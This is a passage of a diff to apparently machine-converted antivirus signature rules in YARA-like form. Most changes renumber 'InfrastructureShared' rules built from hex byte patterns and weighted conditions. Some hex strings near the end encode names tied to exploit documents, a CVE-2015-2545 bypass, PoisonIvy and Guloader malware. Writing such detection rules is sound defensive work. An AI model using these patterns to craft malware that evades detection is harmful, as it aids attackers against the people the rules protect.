1)*25970+(#a_32_9 & 1)*14918) >=10 } -rule _InfrastructureShared_20088{ +rule _InfrastructureShared_21303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -253014,7 +268131,7 @@ rule _InfrastructureShared_20088{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_30_2 & 1)*300+(#a_03_3 & 1)*1) >=3 } -rule _InfrastructureShared_20089{ +rule _InfrastructureShared_21304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -253031,7 +268148,7 @@ rule _InfrastructureShared_20089{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*-256+(#a_39_3 & 1)*12297+(#a_30_4 & 1)*300+(#a_01_5 & 1)*2+(#a_03_6 & 1)*2+(#a_03_7 & 1)*2+(#a_03_8 & 1)*3) >=10 } -rule _InfrastructureShared_20090{ +rule _InfrastructureShared_21305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -253049,7 +268166,7 @@ rule _InfrastructureShared_20090{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_3 & 1)*112+(#a_62_4 & 1)*11379+(#a_00_5 & 1)*144+(#a_73_6 & 1)*25603+(#a_6c_7 & 1)*21536+(#a_43_8 & 1)*798+(#a_41_9 & 1)*21098) >=2 } -rule _InfrastructureShared_20091{ +rule _InfrastructureShared_21306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 1e 00 21 " @@ -253083,7 +268200,7 @@ rule _InfrastructureShared_20091{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*14906+(#a_61_2 & 1)*27762+(#a_6f_3 & 1)*25954+(#a_73_4 & 1)*29300+(#a_65_5 & 1)*29285+(#a_46_6 & 1)*16675+(#a_00_7 & 1)*44+(#a_49_8 & 1)*13824+(#a_00_10 & 1)*112+(#a_00_12 & 1)*109+(#a_09_14 & 1)*11408+(#a_2d_15 & 1)*14637+(#a_00_16 & 1)*144+(#a_00_18 & 1)*116+(#a_6f_19 & 1)*29541+(#a_90_20 & 1)*12848+(#a_73_21 & 1)*9475+(#a_5a_22 & 1)*16762+(#a_09_23 & 1)*6544+(#a_2d_24 & 1)*31277+(#a_25_26 & 1)*12544+(#a_25_27 & 1)*9584+(#a_61_28 & 1)*281+(#a_19_29 & 1)*1) >=101 } -rule _InfrastructureShared_20092{ +rule _InfrastructureShared_21307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -253097,7 +268214,7 @@ rule _InfrastructureShared_20092{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*44+(#a_49_2 & 1)*13824+(#a_00_4 & 1)*112+(#a_00_6 & 1)*109) >=8 } -rule _InfrastructureShared_20093{ +rule _InfrastructureShared_21308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -253116,7 +268233,7 @@ rule _InfrastructureShared_20093{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25692+(#a_3a_2 & 1)*27765+(#a_73_3 & 1)*29477+(#a_2d_4 & 1)*23085+(#a_74_5 & 1)*31074+(#a_2d_6 & 1)*23085+(#a_19_7 & 1)*10016+(#a_00_8 & 1)*12+(#a_3a_9 & 1)*21587) >=8 } -rule _InfrastructureShared_20094{ +rule _InfrastructureShared_21309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 1e 00 21 " @@ -253147,7 +268264,7 @@ rule _InfrastructureShared_20094{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29811+(#a_70_2 & 1)*25710+(#a_65_3 & 1)*24946+(#a_01_4 & 1)*25964+(#a_53_5 & 1)*29537+(#a_80_6 & 1)*1+(#a_89_7 & 1)*0+(#a_00_8 & 1)*104+(#a_00_9 & 1)*51+(#a_00_11 & 1)*99+(#a_00_13 & 1)*110+(#a_00_14 & 1)*98+(#a_00_16 & 1)*73+(#a_89_18 & 1)*0+(#a_61_19 & 1)*24431+(#a_6d_21 & 1)*26999+(#a_25_22 & 1)*13360+(#a_ff_23 & 1)*-254+(#a_30_24 & 1)*24430+(#a_dd_27 & 1)*-29360+(#a_8d_28 & 1)*-16253) >=12 } -rule _InfrastructureShared_20095{ +rule _InfrastructureShared_21310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -253159,7 +268276,7 @@ rule _InfrastructureShared_20095{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*48+(#a_00_3 & 1)*107) >=3 } -rule _InfrastructureShared_20096{ +rule _InfrastructureShared_21311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 1c 00 21 " @@ -253191,7 +268308,7 @@ rule _InfrastructureShared_20096{ ((#a_4c_0 & 1)*21539+(#a_30_3 & 1)*25381+(#a_68_4 & 1)*28532+(#a_00_5 & 1)*112+(#a_69_6 & 1)*0+(#a_58_7 & 1)*12325+(#a_58_8 & 1)*12325+(#a_03_9 & 1)*2+(#a_03_10 & 1)*3+(#a_03_11 & 1)*2+(#a_03_12 & 1)*2+(#a_03_13 & 1)*2+(#a_8a_14 & 1)*0+(#a_ff_15 & 1)*-8827+(#a_b8_16 & 1)*-11+(#a_41_17 & 1)*11617+(#a_7a_18 & 1)*24922+(#a_41_19 & 1)*11617+(#a_00_20 & 1)*100+(#a_41_21 & 1)*21096+(#a_90_22 & 1)*11568+(#a_61_23 & 1)*21792+(#a_00_25 & 1)*46) >=8 } -rule _InfrastructureShared_20097{ +rule _InfrastructureShared_21312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -253204,7 +268321,7 @@ rule _InfrastructureShared_20097{ ((#a_46_0 & 1)*16675+(#a_b8_2 & 1)*-15229+(#a_b8_3 & 1)*0+(#a_0c_4 & 1)*-32000) >=2 } -rule _InfrastructureShared_20098{ +rule _InfrastructureShared_21313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -253223,7 +268340,7 @@ rule _InfrastructureShared_20098{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_09_2 & 1)*14637+(#a_61_3 & 1)*11585+(#a_90_4 & 1)*25711+(#a_2d_5 & 1)*23085+(#a_41_6 & 1)*21293+(#a_00_7 & 1)*2448+(#a_2d_8 & 1)*2305+(#a_54_9 & 1)*8499) >=10 } -rule _InfrastructureShared_20099{ +rule _InfrastructureShared_21314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -253246,7 +268363,7 @@ rule _InfrastructureShared_20099{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1) >=14 } -rule _InfrastructureShared_20100{ +rule _InfrastructureShared_21315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -253261,7 +268378,7 @@ rule _InfrastructureShared_20100{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_41_2 & 1)*11568+(#a_00_3 & 1)*101+(#a_09_4 & 1)*11408+(#a_2d_5 & 1)*14637) >=6 } -rule _InfrastructureShared_20101{ +rule _InfrastructureShared_21316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -253276,7 +268393,7 @@ rule _InfrastructureShared_20101{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*114+(#a_01_4 & 1)*-28672+(#a_09_5 & 1)*6544+(#a_2d_6 & 1)*31277) >=7 } -rule _InfrastructureShared_20102{ +rule _InfrastructureShared_21317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -253292,7 +268409,7 @@ rule _InfrastructureShared_20102{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*-6058+(#a_c7_3 & 1)*26465+(#a_68_5 & 1)*14336+(#a_e8_6 & 1)*106+(#a_46_7 & 1)*25711+(#a_00_8 & 1)*2) >=1 } -rule _InfrastructureShared_20103{ +rule _InfrastructureShared_21318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -253307,7 +268424,7 @@ rule _InfrastructureShared_20103{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_00_3 & 1)*117+(#a_09_4 & 1)*31277+(#a_2d_5 & 1)*2305+(#a_39_6 & 1)*12297) >=4 } -rule _InfrastructureShared_20104{ +rule _InfrastructureShared_21319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 11 00 21 " @@ -253332,7 +268449,7 @@ rule _InfrastructureShared_20104{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*8303+(#a_6d_2 & 1)*788+(#a_77_3 & 1)*14947+(#a_73_5 & 1)*26978+(#a_00_6 & 1)*112+(#a_00_7 & 1)*32+(#a_00_8 & 1)*2+(#a_4c_9 & 1)*8993+(#a_5d_10 & 1)*24923+(#a_00_11 & 1)*144+(#a_52_12 & 1)*11523+(#a_69_13 & 1)*27760+(#a_01_14 & 1)*-28615+(#a_2d_15 & 1)*23085+(#a_61_16 & 1)*281) >=10 } -rule _InfrastructureShared_20105{ +rule _InfrastructureShared_21320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -253349,7 +268466,7 @@ rule _InfrastructureShared_20105{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26991+(#a_44_2 & 1)*25972+(#a_2d_3 & 1)*2305+(#a_2d_4 & 1)*31277+(#a_19_5 & 1)*1+(#a_00_6 & 1)*100+(#a_2f_7 & 1)*13934) >=2 } -rule _InfrastructureShared_20106{ +rule _InfrastructureShared_21321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -253364,7 +268481,7 @@ rule _InfrastructureShared_20106{ ((#a_46_0 & 1)*16675+(#a_84_1 & 1)*110+(#a_24_2 & 1)*-30362+(#a_00_3 & 1)*-18428+(#a_6c_4 & 1)*1025+(#a_6f_5 & 1)*24402) >=3 } -rule _InfrastructureShared_20107{ +rule _InfrastructureShared_21322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -253380,7 +268497,7 @@ rule _InfrastructureShared_20107{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*114+(#a_00_4 & 1)*79+(#a_01_5 & 1)*-28672+(#a_00_6 & 1)*115+(#a_61_7 & 1)*11585) >=3 } -rule _InfrastructureShared_20108{ +rule _InfrastructureShared_21323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " @@ -253397,7 +268514,7 @@ rule _InfrastructureShared_20108{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*61+(#a_00_4 & 1)*78+(#a_00_5 & 1)*73+(#a_00_6 & 1)*84+(#a_00_8 & 1)*78+(#a_00_9 & 1)*18) >=4 } -rule _InfrastructureShared_20109{ +rule _InfrastructureShared_21324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -253421,7 +268538,7 @@ rule _InfrastructureShared_20109{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_61_2 & 1)*29285+(#a_62_3 & 1)*11619+(#a_00_5 & 1)*53+(#a_00_6 & 1)*88+(#a_00_7 & 1)*115+(#a_00_9 & 1)*51+(#a_48_10 & 1)*8448+(#a_58_11 & 1)*4864+(#a_01_13 & 1)*-28636+(#a_00_14 & 1)*144+(#a_01_15 & 1)*9372+(#a_47_16 & 1)*16646+(#a_3f_17 & 1)*257) >=18 } -rule _InfrastructureShared_20110{ +rule _InfrastructureShared_21325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 11 00 21 " @@ -253444,7 +268561,7 @@ rule _InfrastructureShared_20110{ ((#a_54_0 & 1)*18467+(#a_f7_1 & 1)*10486+(#a_e8_3 & 1)*-1279+(#a_90_4 & 1)*-31603+(#a_8a_5 & 1)*-30224+(#a_27_6 & 1)*-976+(#a_03_7 & 1)*1+(#a_91_8 & 1)*0+(#a_00_9 & 1)*48+(#a_00_11 & 1)*53+(#a_00_12 & 1)*49+(#a_00_14 & 1)*65+(#a_00_15 & 1)*49+(#a_00_16 & 1)*48) >=1 } -rule _InfrastructureShared_20111{ +rule _InfrastructureShared_21326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -253460,7 +268577,7 @@ rule _InfrastructureShared_20111{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*51+(#a_00_3 & 1)*66+(#a_00_5 & 1)*69+(#a_00_6 & 1)*48+(#a_00_7 & 1)*57+(#a_00_9 & 1)*50) >=2 } -rule _InfrastructureShared_20112{ +rule _InfrastructureShared_21327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -253482,7 +268599,7 @@ rule _InfrastructureShared_20112{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_3 & 1)*47+(#a_38_4 & 1)*13155+(#a_01_5 & 1)*7936+(#a_63_6 & 1)*30063+(#a_52_8 & 1)*21320+(#a_68_9 & 1)*29014+(#a_2e_10 & 1)*28010+(#a_71_11 & 1)*26481+(#a_74_12 & 1)*30583+(#a_65_13 & 1)*26990+(#a_53_14 & 1)*-32763) >=16 } -rule _InfrastructureShared_20113{ +rule _InfrastructureShared_21328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 14 00 21 " @@ -253509,7 +268626,7 @@ rule _InfrastructureShared_20113{ ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*384+(#a_02_2 & 1)*25955+(#a_6f_3 & 1)*25970+(#a_78_4 & 1)*30561+(#a_52_5 & 1)*29541+(#a_3a_7 & 1)*19521+(#a_00_8 & 1)*69+(#a_00_9 & 1)*45+(#a_42_10 & 1)*-16826+(#a_00_11 & 1)*100+(#a_00_12 & 1)*97+(#a_00_13 & 1)*108+(#a_2d_14 & 1)*23085+(#a_28_16 & 1)*19968+(#a_01_17 & 1)*29194+(#a_08_18 & 1)*400+(#a_16_19 & 1)*2603) >=17 } -rule _InfrastructureShared_20114{ +rule _InfrastructureShared_21329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -253522,7 +268639,7 @@ rule _InfrastructureShared_20114{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*49+(#a_00_4 & 1)*45+(#a_09_5 & 1)*31277) >=4 } -rule _InfrastructureShared_20115{ +rule _InfrastructureShared_21330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -253538,7 +268655,7 @@ rule _InfrastructureShared_20115{ ((#a_54_0 & 1)*18467+(#a_9a_1 & 1)*1802+(#a_2a_2 & 1)*400+(#a_77_3 & 1)*19968+(#a_00_5 & 1)*69+(#a_00_6 & 1)*77+(#a_00_8 & 1)*78) >=18 } -rule _InfrastructureShared_20116{ +rule _InfrastructureShared_21331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 1a 00 21 " @@ -253572,7 +268689,7 @@ rule _InfrastructureShared_20116{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*29537+(#a_33_2 & 1)*12336+(#a_01_3 & 1)*11568+(#a_24_4 & 1)*-32493+(#a_6f_5 & 1)*29797+(#a_46_6 & 1)*29803+(#a_7b_7 & 1)*-32487+(#a_2d_8 & 1)*12593+(#a_7b_9 & 1)*-32487+(#a_2d_10 & 1)*12593+(#a_00_11 & 1)*-27784+(#a_00_12 & 1)*4+(#a_3a_13 & 1)*12889+(#a_00_15 & 1)*37+(#a_2d_16 & 1)*23085+(#a_43_17 & 1)*28750+(#a_61_18 & 1)*281+(#a_19_19 & 1)*1+(#a_41_20 & 1)*11617+(#a_65_21 & 1)*29257+(#a_73_22 & 1)*25971+(#a_41_23 & 1)*5888+(#a_6e_24 & 1)*26992+(#a_25_25 & 1)*9984) >=26 } -rule _InfrastructureShared_20117{ +rule _InfrastructureShared_21332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -253586,7 +268703,7 @@ rule _InfrastructureShared_20117{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*79+(#a_00_3 & 1)*82+(#a_52_4 & 1)*25718+(#a_90_5 & 1)*11568) >=4 } -rule _InfrastructureShared_20118{ +rule _InfrastructureShared_21333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -253607,7 +268724,7 @@ rule _InfrastructureShared_20118{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29551+(#a_73_2 & 1)*28525+(#a_46_3 & 1)*25953+(#a_74_4 & 1)*25459+(#a_62_6 & 1)*18177+(#a_41_9 & 1)*8448+(#a_38_10 & 1)*25189+(#a_00_11 & 1)*144+(#a_6d_12 & 1)*29699+(#a_09_13 & 1)*31277+(#a_2d_14 & 1)*14637) >=15 } -rule _InfrastructureShared_20119{ +rule _InfrastructureShared_21334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -253624,7 +268741,7 @@ rule _InfrastructureShared_20119{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_3 & 1)*108+(#a_00_4 & 1)*31277+(#a_39_5 & 1)*12297+(#a_00_6 & 1)*115+(#a_00_7 & 1)*119+(#a_3a_8 & 1)*19521) >=4 } -rule _InfrastructureShared_20120{ +rule _InfrastructureShared_21335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -253639,7 +268756,7 @@ rule _InfrastructureShared_20120{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_6c_4 & 1)*9984+(#a_19_5 & 1)*27756+(#a_00_7 & 1)*111+(#a_00_8 & 1)*31277) >=3 } -rule _InfrastructureShared_20121{ +rule _InfrastructureShared_21336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -253655,7 +268772,7 @@ rule _InfrastructureShared_20121{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_74_2 & 1)*26627+(#a_41_3 & 1)*11617+(#a_63_4 & 1)*25888+(#a_2d_6 & 1)*2305+(#a_00_7 & 1)*2) >=4 } -rule _InfrastructureShared_20122{ +rule _InfrastructureShared_21337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -253670,7 +268787,7 @@ rule _InfrastructureShared_20122{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*102+(#a_00_4 & 1)*68+(#a_00_5 & 1)*33+(#a_00_7 & 1)*69+(#a_00_8 & 1)*78) >=3 } -rule _InfrastructureShared_20123{ +rule _InfrastructureShared_21338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -253687,7 +268804,7 @@ rule _InfrastructureShared_20123{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_6e_2 & 1)*26485+(#a_00_3 & 1)*100+(#a_00_4 & 1)*108+(#a_00_5 & 1)*144+(#a_00_7 & 1)*114+(#a_00_8 & 1)*99) >=4 } -rule _InfrastructureShared_20124{ +rule _InfrastructureShared_21339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 21 " @@ -253710,7 +268827,7 @@ rule _InfrastructureShared_20124{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*21084+(#a_5c_2 & 1)*24931+(#a_00_3 & 1)*82+(#a_00_5 & 1)*87+(#a_02_6 & 1)*23662+(#a_4b_7 & 1)*29551+(#a_67_8 & 1)*28462+(#a_01_9 & 1)*17863+(#a_01_10 & 1)*-28603+(#a_c7_11 & 1)*12594+(#a_2e_12 & 1)*257+(#a_90_13 & 1)*-14495+(#a_01_14 & 1)*-28603) >=12 } -rule _InfrastructureShared_20125{ +rule _InfrastructureShared_21340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -253723,7 +268840,7 @@ rule _InfrastructureShared_20125{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*25977+(#a_35_2 & 1)*29697+(#a_90_3 & 1)*-14491) >=2 } -rule _InfrastructureShared_20126{ +rule _InfrastructureShared_21341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 20 00 21 " @@ -253764,7 +268881,7 @@ rule _InfrastructureShared_20126{ ((#a_5f_0 & 1)*16931+(#a_73_1 & 1)*24944+(#a_73_2 & 1)*25449+(#a_72_3 & 1)*29285+(#a_72_4 & 1)*30322+(#a_6c_5 & 1)*25938+(#a_56_6 & 1)*25955+(#a_00_7 & 1)*46+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*1+(#a_02_16 & 1)*1+(#a_02_17 & 1)*1+(#a_02_18 & 1)*1+(#a_02_19 & 1)*1+(#a_9a_20 & 1)*0+(#a_32_21 & 1)*14647+(#a_63_22 & 1)*29812+(#a_73_23 & 1)*28261+(#a_39_24 & 1)*13879+(#a_63_25 & 1)*26980+(#a_00_26 & 1)*30571+(#a_70_27 & 1)*17409+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1) >=17 } -rule _InfrastructureShared_20127{ +rule _InfrastructureShared_21342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -253789,7 +268906,7 @@ rule _InfrastructureShared_20127{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25455+(#a_00_2 & 1)*4098+(#a_00_3 & 1)*100+(#a_73_4 & 1)*24946+(#a_00_5 & 1)*101+(#a_5c_6 & 1)*30050+(#a_61_7 & 1)*29793+(#a_37_8 & 1)*14134+(#a_6f_9 & 1)*29545+(#a_63_10 & 1)*26980+(#a_36_11 & 1)*12337+(#a_70_12 & 1)*25718+(#a_80_13 & 1)*2+(#a_9a_14 & 1)*0+(#a_44_15 & 1)*17970) >=1 } -rule _InfrastructureShared_20128{ +rule _InfrastructureShared_21343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -253808,7 +268925,7 @@ rule _InfrastructureShared_20128{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*13366+(#a_2f_2 & 1)*29552+(#a_37_3 & 1)*12600+(#a_74_4 & 1)*24879+(#a_37_5 & 1)*13879+(#a_64_6 & 1)*28260+(#a_31_7 & 1)*14384+(#a_79_8 & 1)*27253+(#a_76_9 & 1)*25701) >=5 } -rule _InfrastructureShared_20129{ +rule _InfrastructureShared_21344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -253827,7 +268944,7 @@ rule _InfrastructureShared_20129{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*320+(#a_45_2 & 1)*17731+(#a_34_3 & 1)*17221+(#a_45_4 & 1)*17460+(#a_39_5 & 1)*13122+(#a_37_6 & 1)*16962+(#a_46_7 & 1)*17202+(#a_30_8 & 1)*12340+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_20130{ +rule _InfrastructureShared_21345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 18 00 21 " @@ -253840,27 +268957,56 @@ rule _InfrastructureShared_20130{ $a_62_5 = {70 61 73 73 2e 64 6c 6c 01 00 09 01 2f 75 73 65 72 2e 62 69 6e 01 00 08 01 2f 68 74 6d 2e 62 69 6e 01 00 08 01 2f 65 78 70 2e 64 6c 6c 01 00 } //267 $a_66_6 = {2e 64 6c 6c 01 00 16 01 63 76 65 32 30 31 35 2d 32 35 34 35 62 79 70 61 73 73 2e 64 6f 63 01 00 0f 01 59 6f 75 72 45 78 70 6c 6f 69 74 2e 70 } //263 $a_00_7 = {15 } //26212 - $a_75_8 = {53 69 6c 65 6e 74 45 78 70 6c 6f 69 74 2e 64 6f 63 01 00 14 01 59 6f 75 72 4d 61 63 72 6f 45 78 70 6c 6f 69 74 2e 64 6f 63 00 00 78 9c 02 00 07 00 07 00 09 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 69 73 6f 6e 49 76 79 5f 53 61 6d 70 6c 65 5f 41 50 54 5f 34 00 01 00 6e 03 4d 00 69 00 63 00 72 00 } //22785 - $a_00_9 = {6f 00 66 00 74 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 28 03 69 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 } //111 - $a_2d_10 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 6d 00 67 00 6d 00 74 00 73 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 } //31277 - $a_41_11 = {5a 61 2d 7a 90 00 01 00 4e 03 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 28 00 52 00 29 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 28 00 52 00 29 00 90 } //11568 - $a_30_12 = {39 41 2d 5a 61 2d 7a 90 09 } //300 - $a_2c_13 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2b 03 53 65 72 76 69 63 65 4d 61 69 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 5a 03 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d } //2 - $a_5a_14 = {2d 7a 90 00 01 00 30 03 53 65 74 53 65 72 76 69 63 65 53 74 61 74 75 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 } //16697 - $a_41_15 = {5a 30 2d 39 90 00 01 00 40 03 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 37 03 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 } //11617 - $a_41_16 = {5a 30 2d 39 90 00 00 00 78 9c 02 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 4e 31 32 33 21 4d 54 42 00 01 00 24 81 01 5c 6e 79 68 65 64 73 62 72 65 76 65 6e 65 5c 66 72 75 63 74 69 66 69 63 61 74 69 6f 6e 73 5c 2a 2e 73 65 6c 01 00 3f 81 01 5c 6d 69 6e 69 73 75 62 5c 4e 61 72 72 65 73 74 72 65 67 5c 66 72 61 6e } //11617 - $a_73_17 = {49 6d 70 61 72 74 69 6e 67 5c 63 79 61 6e 61 75 72 61 74 65 5c 61 75 73 74 72 6f 70 68 69 6c 69 73 6d 01 00 32 81 01 53 6f 66 74 77 61 72 65 5c 46 61 73 74 65 72 65 31 37 38 